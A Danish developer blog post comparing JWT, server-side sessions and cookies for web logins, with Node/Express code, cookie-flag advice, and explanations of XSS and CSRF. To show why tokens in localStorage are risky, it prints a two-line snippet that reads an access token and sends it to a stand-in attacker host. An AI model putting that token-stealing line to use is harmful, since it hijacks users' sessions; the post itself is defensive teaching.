Dit loginvalg forfølger dig senere
Jeg byggede engang et lille hobby-projekt med React-frontend og Node-backend, hvor jeg tænkte: “Jeg bruger bare JWT i localStorage, så er det moderne og lækkert.” En uge senere sad jeg og stirrede på et bug-report fra en ven: “Jeg kan ikke logge ud. Din app glemmer mig aldrig.”
Det viste sig, at jeg havde fået præcis den “stateless” frihed jeg troede, jeg ville have. Bare på den forkerte måde. Tokens levede for længe, blev aldrig rigtig invalidet, og hver gang jeg prøvede at “løse” det, tilføjede jeg endnu et lille hack ovenpå.
Den oplevelse var sådan cirka starten på, at jeg begyndte at tage “JWT vs sessions vs cookies” alvorligt. Ikke teoretisk, men i forhold til: Hvad skal jeg faktisk vælge, hvis jeg bare vil bygge en webapp uden at få mareridt af logout, XSS og refresh flows?
Hvad du i virkeligheden prøver med login
Inden vi begynder at kaste JWT og sessions efter hinanden, er det værd at sætte scenen lidt. De fleste små projekter (og rigtigt mange større) skal i virkeligheden kun tre ting med login:
1) Finde ud af hvem brugeren er. Det er authentication. Er du Mette eller Jonas, og har du tastet den rigtige adgangskode?
2) Finde ud af hvad brugeren må. Det er authorization. Må du se denne side, ændre denne resource, være admin?
3) Gøre det på en måde, hvor du ikke åbner for åbenlyse huller som “alle kan stjæle alles login fra localStorage” eller “brugeren kan aldrig blive logget ud, medmindre vi roterer hele internettet”.
JWT vs sessions handler i bund og grund om, hvor du gemmer svaret på 1 og 2, og hvordan serveren verificerer det:
Session: Serveren gemmer brugerens tilstand på serversiden (typisk i en database eller i memory). Browseren får kun en kort, tilfældig nøgle (session-id) i en cookie. Hver request sender nøglen tilbage, og serveren slår resten op.
JWT: Selve svaret på “hvem er du, og hvad må du?” ligger i et signeret token, som klienten bærer rundt på. Serveren verificerer signaturen og stoler så på indholdet, uden at skulle slå noget op i en session-tabel.
Cookies er så bare transportlag. De kan bære enten et session-id eller et JWT, og de kan konfigureres på forskellige måder, der påvirker sikkerhed og UX.
Jeg vil prøve at holde mig på det niveau. Ikke alt for meget teori, men nok til at du kan træffe et valg, der ikke bider dig om tre måneder.
Sessions: kedelige, stabile og ofte det bedste valg
De første gange jeg læste om JWT, virkede sessions næsten gammeldags. “Server-side state, puha, det er jo ikke skalerbart.” Det var cirka det niveau, jeg var på. I praksis har jeg opdaget, at sessions er det, der redder mig, når jeg bare vil have noget, der virker for en helt almindelig webapp.
Hvordan sessions faktisk fungerer
Standardmønstret ser nogenlunde sådan her ud:
// Efter succesfuld login
const sessionId = randomBytes(32).toString("hex");
// Gem i din session-store (fx database eller Redis)
await sessionStore.set(sessionId, {
userId: user.id,
role: user.role,
createdAt: Date.now()
});
// Sæt cookie på svaret
res.cookie("sid", sessionId, {
httpOnly: true,
secure: true,
sameSite: "lax",
maxAge: 1000 * 60 * 60 // 1 time
});
I senere requests sker der egentlig bare dette:
// I en auth-middleware
const sessionId = req.cookies.sid;
if (!sessionId) return res.status(401).send("Not logged in");
const session = await sessionStore.get(sessionId);
if (!session) return res.status(401).send("Session expired");
req.user = { id: session.userId, role: session.role };
next();
Der er et par væsentlige fordele ved det her:
Du kan invaliderer en session ved bare at slette den i session-store. Logout er simpelt: fjern nøglen.
Du kan opdatere rettigheder eller data uden at udstede nye tokens til alle. Du ændrer bare i din database / session.
Du behøver ikke nogle store, komplekse token-flows for at håndtere rotation eller revocation. Det ligger implicit i, at serveren ejer sandheden.
Hvornår sessions passer perfekt
Jeg vælger sessions i de her situationer:
Jeg bygger en klassisk webapp, hvor backend både står for HTML-sider og API (SSR eller MPA).
Min primære klient er en browser, ikke en flok microservices.
Jeg har ikke hundrede forskellige services, der alle skal kunne læse brugerens claims uden at kalde den samme auth-server.
Sessions skalerer glimrende for 99 % af hobbyprojekter og små SaaS-ting, hvis du bare bruger en fornuftig session-store (fx Redis eller en database) og ikke gemmer megastore objekter i hver session.
Det er det mønster du typisk vil se i frameworks, der har været i verden længe: Django, Rails, Laravel, klassisk Express med session-middleware. Der er en grund til, at de holder fast i den model.
JWT: stateless frihed med en pris
Min første oplevelse med JWT var ren forelskelse: Et token du bare kan verificere med en hemmelig nøgle, uden at slå noget op. Perfekt til microservices, single sign-on og generelt alt, der lyder lidt enterprise-agtigt.
Problemet er bare, at når du smider det ind i en lille hobby-frontend med React og en Node-API, kan du nemt ende med en løsning, der er unødigt kompliceret og mindre sikker, hvis du ikke får resten af mønstret med.
Hvordan JWT egentlig fungerer
Et JWT (JSON Web Token) er grundlæggende bare en JSON-struktur, der er signeret. Meget forsimplet:
const payload = {
sub: user.id,
role: user.role,
exp: Math.floor(Date.now() / 1000) + 60 * 15 // 15 min
};
const token = jwt.sign(payload, JWT_SECRET, { algorithm: "HS256" });
På serveren, når en request kommer ind:
const authHeader = req.headers.authorization;
if (!authHeader?.startsWith("Bearer ")) {
return res.status(401).send("Missing token");
}
const token = authHeader.slice("Bearer ".length);
try {
const payload = jwt.verify(token, JWT_SECRET);
req.user = { id: payload.sub, role: payload.role };
next();
} catch (err) {
return res.status(401).send("Invalid or expired token");
}
Ingen session-store, ingen lookup. Bare ren signatur-verificering.
Hvad du vinder, og hvad du betaler
Fordelene er ret klare:
Du får stateless verification. Hver service, der kender din signing key, kan selv validere token.
Du kan putte claims ind i tokenet (rolle, scopes osv.), så downstream services ikke behøver at kalde en auth-server for at vide, hvad brugeren må.
Ulemperne er dem, der typisk rammer hobbyprojekter:
Revocation er svært. Hvis du først har udstedt et token med 1 times levetid, er det gyldigt i den time medmindre du bygger en separat blacklist / revocation-liste, som du så alligevel skal slå op i. Så har du reelt en slags session alligevel.
Rotation kræver et ekstra flow. Du vil typisk udstede korte access tokens og længere refresh tokens, og så skal klienten kunne få et nyt access token uden at spørge om login igen. Det er flere endpoints, mere tilstand, mere logik.
Det er nemt at gemme token samme sted som al din frontend-JS. Og så er vi tilbage ved XSS og “jeg stjal lige dit token fra localStorage”. Mere om det lige om lidt.
Min erfaring er, at JWT giver rigtig god mening når:
Du har et fælles auth-system for flere services eller apps.
Du har en ren API, som også skal bruges af andre klienter end browseren, fx mobilapps, andre systemer eller partners.
Du er klar til at implementere et rigtigt refresh token flow med kortlivede access tokens.
Og mindre mening når:
Du “bare” bygger én webapp med én backend.
Du egentlig bare ville have noget simpelt login og rollehåndtering.
Du ikke har lyst til at tænke på token-rotation kl. 23.30 en tirsdag.
Cookies: det kedelige, men vigtige transportlag
Cookies er den del, jeg selv overså længst. Jeg tænkte oprindeligt: “Enten lægger jeg ting i localStorage, eller også bruger jeg cookies.” Som om det var to konkurrerende teknologier.
I virkeligheden er cookies bare en måde at sende små bidder data automatisk frem og tilbage mellem browser og server. De kan være rigtig gode venner med både sessions og JWT.
Cookie-flags du bør kende
httpOnly: Betyder at JavaScript i browseren ikke kan læse eller skrive cookien. Den sendes stadig med requests, men document.cookie kan ikke se den. Det er en central beskyttelse mod XSS, fordi angriberen så ikke bare kan snuppe din session-cookie eller dit token.
secure: Betyder at cookien kun sendes over HTTPS. Det skal du slå til i produktion. På http://localhost kan du godt teste uden, men brug secure så snart du har et rigtigt domæne.
sameSite: Styrer om cookien sendes med cross-site requests. sameSite="lax" er ofte en god default for login, fordi den begrænser, hvornår cookien bliver sendt på tværs af domæner og dermed hjælper mod CSRF.
maxAge / expires: Hvor længe cookien lever i browseren. Typisk matcher du det med sessionens levetid, men husk at selve sessionen/brugertilstanden også skal have en udløbsdato i backend.
Et godt udgangspunkt for et login-cookie i produktion kan f.eks. være:
res.cookie("sid", sessionId, {
httpOnly: true,
secure: true,
sameSite: "lax",
maxAge: 1000 * 60 * 60
});
Den samme opskrift kan du bruge, hvis du alligevel vælger at smide et JWT i en cookie. Forskellen er bare, hvad der ligger i værdien.
Truslerne i virkeligheden: XSS og CSRF
Det tog mig lidt tid at forstå forskellen på, hvad jeg egentlig prøvede at beskytte mig mod. OWASP har nogle gode cheat sheets, men her er den hurtige version:
XSS: Hvorfor localStorage-JWT er en dårlig default
XSS (Cross-Site Scripting) er der, hvor en angriber får lov til at køre JavaScript inde på din side. Det kan være gennem et inputfelt, du ikke saniterer, en tredjeparts-widget der bliver kompromitteret, eller noget andet, der ender i et <script>-tag.
Hvis dit auth-token (session-id eller JWT) ligger i JavaScript-land, f.eks. i localStorage eller en global variabel, er det første en angriber vil gøre noget i stil med:
const token = localStorage.getItem("access_token");
fetch("https://evil.example.com/steal?token=" + encodeURIComponent(token));
Og så er vi færdige. De kan nu lave requests som brugeren, helt udefra.
Derfor er rådet fra både OWASP og mange erfarne udviklere ret klart: Gem ikke langlivede tokens i localStorage som default, hvis du kan undgå det. Brug httpOnly cookies, så et eventuelt XSS-angreb ikke kan læse dine tokens direkte.
Det stopper ikke al skade ved XSS, men det fjerner den nemmeste gevinst for angriberen.
CSRF: Når cookies bliver for flinke
CSRF (Cross-Site Request Forgery) er der, hvor en angriber får din browser til at lave en request til din app, med din cookie, men uden at du aktivt beder om det.
Eksempel: Du er logget ind på bank.example.com. En ondsindet side får din browser til at lave et POST-request til https://bank.example.com/transfer. Din browser sender automatisk cookies med, også din session-cookie. Hvis banken ikke har CSRF-beskyttelse, kan den fejlagtigt acceptere requestet, som om du selv havde klikket på “Overfør penge”.
Hvis du bruger cookies til login (uanset om det er sessions eller JWT i en cookie), skal du tænke på CSRF. De typiske værn er:
Brug sameSite=lax eller strict på login-cookies, så de ikke sendes i cross-site POST requests (med få undtagelser).
Brug CSRF-tokens for skrivende requests: serveren udsteder et engangs-token, som din frontend sender med, og som en angriber ikke kender.
Hvis du i stedet bruger Authorization: Bearer <token> header, er du mindre udsat for CSRF, fordi browsere ikke automatisk tilføjer den header på tværs af sites. Men så er du tilbage ved XSS-problematikken, hvis tokenet ligger i JavaScript-land.
Det er lidt som at vælge, om du vil have hovedpine eller mavepine. Derfor giver det mening at være bevidst om, hvilke angreb der er mest relevante for din app, og hvad du vil beskytte hårdest mod.
Tre typiske apps – og hvad jeg ville vælge
Nu til det stykke jeg selv altid leder efter, når jeg googler sikkerhedsting: “Hvis jeg bygger X, hvad skal jeg så rent faktisk gøre?”
1) Klassisk webapp med SSR/MPA
Fx: En lille admin-side, et internt værktøj, en simpel SaaS hvor serveren render siderne, og du har lidt JavaScript til det interaktive.
Mit valg her:
Sessions med httpOnly cookies.
Login-flow:
Brugeren sender brugernavn/adgangskode til et login-endpoint.
Serveren tjekker credentials, opretter en session med et random session-id i en session-store.
Serveren sætter en sid-cookie med httpOnly, secure, sameSite="lax".
Efterfølgende requests identificerer brugeren via session-id og en session-store lookup.
Logout:
Et simpelt /logout-endpoint, der sletter sessionen i session-store og sætter en udløbet cookie.
CSRF:
Brug sameSite=lax for at reducere angrebsfladen.
Tilføj et CSRF-token for POST/PUT/DELETE hvis du vil være mere grundig.
Det her er decideret rart at arbejde med. Fejlfinding er simpelt, og du behøver ikke tænke i refresh tokens og alt muligt andet. For en klassisk webapp vil jeg klart sige: Start med det her, medmindre du har en rigtig god grund til noget andet.
2) SPA med separat API
Fx: React/Vue/Angular frontend, der taler med en Node/Python/whatever API over JSON.
Det er her, debatten typisk bliver højlydt: “JWT i localStorage vs httpOnly cookies vs sessions vs alt muligt.”
Jeg er landet på to mønstre, som begge kan forsvares:
Mønster A: Sessions via httpOnly cookies
Frontend kalder login-endpointet med fetch. Backend sætter en session-cookie (som før). Browseren sender automatisk cookie med for efterfølgende API-kald.
Fordele: Simpelt, du genbruger den klassiske session-tankegang. Logout er simpelt. Ingen access/refresh token-dans.
Ulemper: Du skal tænke på CSRF. Hvis API og frontend ligger på samme domæne eller subdomæne, kan du dog ofte nøjes med sameSite-lax plus evt. et CSRF-token.
Mønster B: JWT i httpOnly cookie + kort levetid
Login-endpoint udsteder et JWT og lægger det i en httpOnly cookie.
API-endpoints læser JWT fra cookie og validerer det.
Fordele: Du undgår session-store og holder det stateless.
Ulemper: Du har stadig CSRF-udfordringer (det er stadig cookie-baseret). Revocation er mere bøvlet, hvis du vil kunne logge folk ud “overalt” før udløb.
Jeg brugte selv længe JWT i localStorage med Authorization-header. Det føltes fedt, indtil jeg for alvor begyndte at tænke XSS igennem. I dag vil jeg til en standard SPA klart hælde til sessions via httpOnly cookies, med mindre jeg har en meget specifik grund til at skulle være stateless.
3) Mobilapp + API
Her er vi i en lidt anden situation. En mobilapp styrer selv sine requests, og du har ikke automatisk cookie-håndtering på samme måde som i en browser. CSRF er meget mindre relevant, men XSS (i klassisk forstand) er det også.
Mit valg her:
JWT access tokens + refresh tokens.
Flowet plejer at se sådan her ud:
Login med brugernavn/adgangskode til /auth/login.
Serveren udsteder et kortlivedt access token (fx 15 min) og et længerevarende refresh token (fx 30 dage).
Mobilappen gemmer refresh token et sted, der er svært at tilgå (Keychain/Keystore), og bruger access token i Authorization-header.
Når access token udløber, bruger appen refresh token til et /auth/refresh-endpoint og får et nyt access token (og ofte et nyt refresh token).
Her begynder JWT at skinne, fordi du netop ofte har flere klienter, og du gerne vil undgå at have massevis af session-state på serveren for alle. Du får også en mere naturlig integration med andre systemer, der potentielt skal kalde din API.
En “god nok” opskrift du kan starte med
Hvis du nu sidder og tænker, at der var mange nuancer, men du egentlig bare gerne vil have en baseline til din næste webapp, så kommer den her. Det er ikke den eneste rigtige løsning, men det er et mønster, jeg selv ville være tryg ved at bruge på et lille projekt.
Opskrift til en typisk webapp eller SPA på samme domæne
1) Brug server-side sessions med et random session-id gemt i en session-store.
2) Sæt en httpOnly, secure, sameSite=lax cookie med session-id.
3) Giv sessionen en rimelig udløbstid, f.eks. 1-2 timer, og forny den ved aktivitet (rolling session).
4) Lav et /logout-endpoint, der sletter sessionen i store og sætter cookie til at udløbe.
5) Beskyt skrivende endpoints mod CSRF med sameSite-lax som minimum. Overvej et CSRF-token, hvis du har mere følsomme operationer.
6) Log kun det nødvendige om sessions. Fx userId, sessionId (forkortet eller hashed), user-agent. Og aldrig adgangskoder eller hele tokens.
Hvis du vil fordybe dig i detaljerne om cookies og sikkerheds-flags, er MDN-artiklen om cookies og OWASP’s cheat sheets gode referencer. På codingclass.dk har jeg også skrevet om auth-valg i en anden vinkel i artiklen om porteføljeprojekter og auth-mønstre, som kan være værd at læse ved siden af.
Sådan ser du, hvad der faktisk sker i DevTools
En ting der hjalp mig meget, var at stoppe med at gætte og i stedet kigge på, hvad browseren faktisk sender. Chrome DevTools (eller tilsvarende i andre browsere) er din ven her.
Tjek cookies
Åbn DevTools (F12), gå til Application-fanen, og find “Cookies” i venstremenuen. Her kan du se:
Hvilke cookies der er sat for dit domæne.
Om de er markeret som httpOnly, secure og sameSite.
Hvornår de udløber.
Hvis du ikke kan se din login-cookie her, er den enten ikke blevet sat, sat på et andet domæne, eller også er den allerede udløbet.
Tjek requests
I Network-fanen kan du klikke på et request og se:
Under Headers: Om der er en Cookie-header på requestet.
Om dine Authorization-headers ser rigtige ud, hvis du bruger Bearer tokens.
Svaret fra serveren, hvis noget går galt (401, 403 osv.).
Det lyder banalt, men de fleste auth-fejl jeg har rodet med (og det er en del) har kunnet spores ved at kigge på et par requests og konstatere: “Nå, cookien bliver jo slet ikke sendt med,” eller “Jeg sætter secure-flag på localhost, så den kommer aldrig frem.”
JWT vs sessions: hvad jeg selv gør i dag
Hvis jeg skal prøve at destillere det hele ned til, hvad jeg selv gør i praksis på små og mellemstore sideprojekter:
Jeg starter næsten altid med sessions i httpOnly cookies til alt, der ligner en klassisk webapp eller en SPA med egen backend.
Jeg tager først JWT frem, når jeg har et klart behov for stateless tokens på tværs af flere services eller klienter, typisk med et access/refresh token-flow.
Jeg gemmer ikke længere tokens i localStorage som default. Hvis jeg en dag gør det igen, bliver det med helt bevidst risikoanalyse og meget korte levetider.
Og så accepterer jeg, at “helt perfekt sikkerhed” ikke findes i et hobbyprojekt, men at nogle valg objektivt gør det værre end andre. Hvis du vil have et slogan ud af det her, så må det være: “Simpel session med gode cookie-flags slår fancy JWT-magi gemt i localStorage, næsten hver eneste gang.”
Den holdning er der sikkert nogen, der vil være uenige i. Det er jeg faktisk ret tryg ved.








1 kommentar